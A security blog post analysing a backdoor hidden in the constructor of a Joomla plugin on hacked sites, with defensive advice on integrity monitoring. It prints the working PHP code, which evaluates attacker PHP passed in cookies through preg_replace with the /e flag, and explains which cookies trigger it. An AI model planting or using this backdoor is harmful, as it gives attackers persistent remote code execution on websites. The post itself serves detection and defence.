We recently wrote about backdoors in pirated commercial WordPress plugins. This time it will be a short post about an interesting backdoor we found in a Joomla plugin.
It was so well organized that at first we didn’t realize there was a backdoor even though we knew something was wrong. Here’s what the code of the plugin looks:
Nothing suspicious at first glance. Nothing is encrypted, nothing is obfuscated and no excessive comments. Just normal Joomla plugin code.
If you look more thoroughly you will notice that the class constructor is not that benign.
public function __construct() {
$filter = JRequest::getString('p3', Null, 'cookie');
if ($filter) {
$option = $filter(JRequest::getString('p2', Null, 'cookie'));
$auth = $filter(JRequest::getString('p1', Null, 'cookie'));
$option("/123/e",$auth,123);
die();
}
}
The first really suspicious thing that you may notice is the die(); at the end of the code. This function terminates execution of a current script. However, this is a Joomla plugin, which means that it’s going to terminate all Joomla execution. That’s not very nice for a plugin, especially at the initialization stage.
Then you may notice this: /123/e. This resembles regular expression pattern with the “eval” flag that we see in various preg_replace-based backdoors. Now you may realize that if you replace $option with preg_replace, you get a typical preg_replace backdoor code:
preg_replace("/123/e", $auth, 123);
123 always matches 123 so this code will evaluate whatever is in the $auth variable.
In order for this hypothesis to be true, $option should be equal to preg_replace and $auth should contain PHP code. We can see that both variables are populated with cookie values, so yes, it is possible.
This code suggests that this backdoor is used the following way:
- Once the plugin is enabled in Joomla, it gets loaded on every page load and the plugin class constructor always gets executed.
- The attacker requests any site page setting specific cookies:
- p3 – this triggers backdoor execution. Without it Joomla works as intended
- p2 – this cookie should be “preg_replace“
- p1 – any PHP code here
Is the Whole Plugin Malicious?
Unlike WordPress plugins that I recently wrote about where malicious code was planted by pirates who repackaged commercial plugins, this one doesn’t look like something that the webmaster took from a shady site. The InstantSuggest plugin is free and barely known by anyone (less than 400 downloads). Its real code doesn’t contain the __construct() function.
The more likely scenario is this backdoor was added by hackers after breaking into the site to maintain access to it even if the original security hole is closed. Indeed, we found it on a hacked site (no surprise here — we mostly work with hacked sites).
Moreover, it looks like hackers do not just inject that backdoor into some existing plugin, they install this new “patched” plugin. It doesn’t look suspicious and doesn’t break anything. That’s easier than modifying existing files which may occasionally break a site and require a more complex injector.
As a proof of this hypothesis, we searched the web for the backdoor code, and we always see it inside the instantsuggest code — I don’t believe that all of these sites installed this lesser known plugin. By the way, this code is also used outside of Joomla context with Joomla API requests replaced with simple @$_COOKIE calls (check this cPanel forum). Even in those cases, it is still surrounded by the instantsuggest code – it’s just something that makes the backdoor looks less suspicious.
To Webmasters
As you can see, it’s quite easy to make a backdoor code look quite benign. You can easily miss it when manually looking through the code, especially in Joomla that consists of thousands of files. Security scanners may not pick up such uncommon backdoors either. The only reliable way of detecting such symptoms is integrity control, this way you’ll be notified when something changes in your files and can promptly address the problem. Most version control systems can be used for that. You will also find the integrity control feature in our Sucuri monitoring service if you enable server-side scanning.
One more thing, using cookies for passing malicious code to backdoors is a common trend. This way hackers can use regular GET requests that won’t raise any suspicion during web server log analysis. To detect and block such requests, you need a more sophisticated website firewall solution, e.g. CloudProxy.
